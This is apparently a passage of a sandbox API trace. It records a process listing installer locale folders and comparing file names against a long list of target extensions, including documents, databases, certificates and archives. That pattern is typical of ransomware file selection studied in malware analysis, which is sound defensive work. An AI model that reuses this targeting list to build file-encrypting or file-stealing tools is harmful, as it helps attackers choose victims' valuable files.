	[0060.762] lstrlenW (lpString=".lgp") returned 4
	[0060.762] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0060.762] lstrlenW (lpString=".log") returned 4
	[0060.762] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0060.762] lstrlenW (lpString=".m1v") returned 4
	[0060.762] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0060.762] lstrlenW (lpString=".m4a") returned 4
	[0060.762] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0060.762] lstrlenW (lpString=".m4v") returned 4
	[0060.762] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0060.762] lstrlenW (lpString=".max") returned 4
	[0060.762] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0060.762] lstrlenW (lpString=".md") returned 3
	[0060.762] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0060.762] lstrlenW (lpString=".mda") returned 4
	[0060.762] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0060.762] lstrlenW (lpString=".mdb") returned 4
	[0060.762] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0060.762] lstrlenW (lpString=".mde") returned 4
	[0060.762] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0060.762] lstrlenW (lpString=".mdf") returned 4
	[0060.762] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0060.762] lstrlenW (lpString=".mdw") returned 4
	[0060.762] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0060.762] lstrlenW (lpString=".mef") returned 4
	[0060.762] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0060.763] lstrlenW (lpString=".mft") returned 4
	[0060.763] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0060.763] lstrlenW (lpString=".mfw") returned 4
	[0060.763] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0060.763] lstrlenW (lpString=".mht") returned 4
	[0060.763] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0060.763] lstrlenW (lpString=".mhtml") returned 6
	[0060.763] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0060.763] lstrlenW (lpString=".mka") returned 4
	[0060.763] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0060.763] lstrlenW (lpString=".mkidx") returned 6
	[0060.763] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0060.763] lstrlenW (lpString=".mkv") returned 4
	[0060.763] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0060.763] lstrlenW (lpString=".mos") returned 4
	[0060.763] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0060.763] lstrlenW (lpString=".mov") returned 4
	[0060.763] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0060.763] lstrlenW (lpString=".mp3") returned 4
	[0060.763] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0060.763] lstrlenW (lpString=".mp4") returned 4
	[0060.763] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0060.763] lstrlenW (lpString=".mpeg") returned 5
	[0060.763] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0060.763] lstrlenW (lpString=".mpg") returned 4
	[0060.763] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0060.763] lstrlenW (lpString=".mpv") returned 4
	[0060.763] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0060.763] lstrlenW (lpString=".mrw") returned 4
	[0060.763] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0060.763] lstrlenW (lpString=".msg") returned 4
	[0060.763] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0060.763] lstrlenW (lpString=".mxl") returned 4
	[0060.763] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0060.764] lstrlenW (lpString=".myd") returned 4
	[0060.764] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0060.764] lstrlenW (lpString=".myi") returned 4
	[0060.764] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0060.764] lstrlenW (lpString=".nef") returned 4
	[0060.764] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0060.764] lstrlenW (lpString=".nrw") returned 4
	[0060.764] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0060.764] lstrlenW (lpString=".obj") returned 4
	[0060.764] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0060.764] lstrlenW (lpString=".odb") returned 4
	[0060.764] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0060.764] lstrlenW (lpString=".odc") returned 4
	[0060.764] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0060.764] lstrlenW (lpString=".odm") returned 4
	[0060.764] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0060.764] lstrlenW (lpString=".odp") returned 4
	[0060.764] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0060.764] lstrlenW (lpString=".ods") returned 4
	[0060.764] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0060.764] lstrlenW (lpString=".oft") returned 4
	[0060.764] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0060.764] lstrlenW (lpString=".one") returned 4
	[0060.764] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0060.764] lstrlenW (lpString=".onepkg") returned 7
	[0060.764] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0060.764] lstrlenW (lpString=".onetoc2") returned 8
	[0060.764] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0060.764] lstrlenW (lpString=".opt") returned 4
	[0060.764] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0060.764] lstrlenW (lpString=".oqy") returned 4
	[0060.764] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0060.764] lstrlenW (lpString=".orf") returned 4
	[0060.764] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0060.765] lstrlenW (lpString=".p12") returned 4
	[0060.765] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0060.765] lstrlenW (lpString=".p7b") returned 4
	[0060.765] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0060.765] lstrlenW (lpString=".p7c") returned 4
	[0060.765] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0060.765] lstrlenW (lpString=".pam") returned 4
	[0060.765] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0060.765] lstrlenW (lpString=".pbm") returned 4
	[0060.765] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0060.765] lstrlenW (lpString=".pct") returned 4
	[0060.765] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0060.765] lstrlenW (lpString=".pcx") returned 4
	[0060.765] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0060.765] lstrlenW (lpString=".pdd") returned 4
	[0060.765] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0060.765] lstrlenW (lpString=".pdf") returned 4
	[0060.765] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0060.765] lstrlenW (lpString=".pdp") returned 4
	[0060.765] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0060.765] lstrlenW (lpString=".pef") returned 4
	[0060.765] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0060.765] lstrlenW (lpString=".pem") returned 4
	[0060.765] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0060.765] lstrlenW (lpString=".pff") returned 4
	[0060.765] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0060.765] lstrlenW (lpString=".pfm") returned 4
	[0060.765] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0060.765] lstrlenW (lpString=".pfx") returned 4
	[0060.765] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0060.765] lstrlenW (lpString=".pgm") returned 4
	[0060.765] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0060.765] lstrlenW (lpString=".php") returned 4
	[0060.766] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0060.766] lstrlenW (lpString=".php3") returned 5
	[0060.766] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0060.766] lstrlenW (lpString=".php4") returned 5
	[0060.766] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0060.766] lstrlenW (lpString=".php5") returned 5
	[0060.766] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0060.766] lstrlenW (lpString=".phtml") returned 6
	[0060.766] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0060.766] lstrlenW (lpString=".pict") returned 5
	[0060.766] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0060.766] lstrlenW (lpString=".pl") returned 3
	[0060.766] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0060.766] lstrlenW (lpString=".pls") returned 4
	[0060.766] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0060.766] lstrlenW (lpString=".pm") returned 3
	[0060.766] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0060.766] lstrlenW (lpString=".png") returned 4
	[0060.766] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0060.766] lstrlenW (lpString=".pnm") returned 4
	[0060.766] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0060.766] lstrlenW (lpString=".pot") returned 4
	[0060.766] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0060.766] lstrlenW (lpString=".potm") returned 5
	[0060.766] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0060.766] lstrlenW (lpString=".potx") returned 5
	[0060.766] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0060.766] lstrlenW (lpString=".ppa") returned 4
	[0060.766] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0060.766] lstrlenW (lpString=".ppam") returned 5
	[0060.766] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0060.766] lstrlenW (lpString=".ppm") returned 4
	[0060.766] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0060.766] lstrlenW (lpString=".pps") returned 4
	[0060.767] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0060.767] lstrlenW (lpString=".ppsm") returned 5
	[0060.767] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0060.767] lstrlenW (lpString=".ppt") returned 4
	[0060.767] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0060.767] lstrlenW (lpString=".pptm") returned 5
	[0060.767] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0060.767] lstrlenW (lpString=".pptx") returned 5
	[0060.767] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0060.767] lstrlenW (lpString=".prn") returned 4
	[0060.767] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0060.767] lstrlenW (lpString=".ps") returned 3
	[0060.767] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0060.767] lstrlenW (lpString=".psb") returned 4
	[0060.767] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0060.767] lstrlenW (lpString=".psd") returned 4
	[0060.767] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0060.767] lstrlenW (lpString=".pst") returned 4
	[0060.767] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0060.767] lstrlenW (lpString=".ptx") returned 4
	[0060.767] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0060.767] lstrlenW (lpString=".pub") returned 4
	[0060.767] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0060.767] lstrlenW (lpString=".pwm") returned 4
	[0060.767] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0060.767] lstrlenW (lpString=".pxr") returned 4
	[0060.767] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0060.767] lstrlenW (lpString=".py") returned 3
	[0060.767] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0060.767] lstrlenW (lpString=".qt") returned 3
	[0060.767] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0060.767] lstrlenW (lpString=".r3d") returned 4
	[0060.767] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0060.767] lstrlenW (lpString=".raf") returned 4
	[0060.768] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0060.768] lstrlenW (lpString=".rar") returned 4
	[0060.768] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0060.768] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0060.768] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.034] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.034] FindClose (in: hFindFile=0x5e02f0 | out: hFindFile=0x5e02f0) returned 1
	[0061.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.035] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1
	[0061.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.035] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0870
	[0061.035] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.036] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.036] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.036] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.036] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.036] FindClose (in: hFindFile=0x5e0870 | out: hFindFile=0x5e0870) returned 1
	[0061.036] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.036] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1
	[0061.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.036] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e09f0
	[0061.037] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.037] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.037] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.037] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.037] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.037] FindClose (in: hFindFile=0x5e09f0 | out: hFindFile=0x5e09f0) returned 1
	[0061.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.037] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1
	[0061.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.037] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e06b0
	[0061.038] FindNextFileW (in: hFindFile=0x5e06b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.038] FindNextFileW (in: hFindFile=0x5e06b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.038] FindNextFileW (in: hFindFile=0x5e06b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.038] FindNextFileW (in: hFindFile=0x5e06b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.039] FindNextFileW (in: hFindFile=0x5e06b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
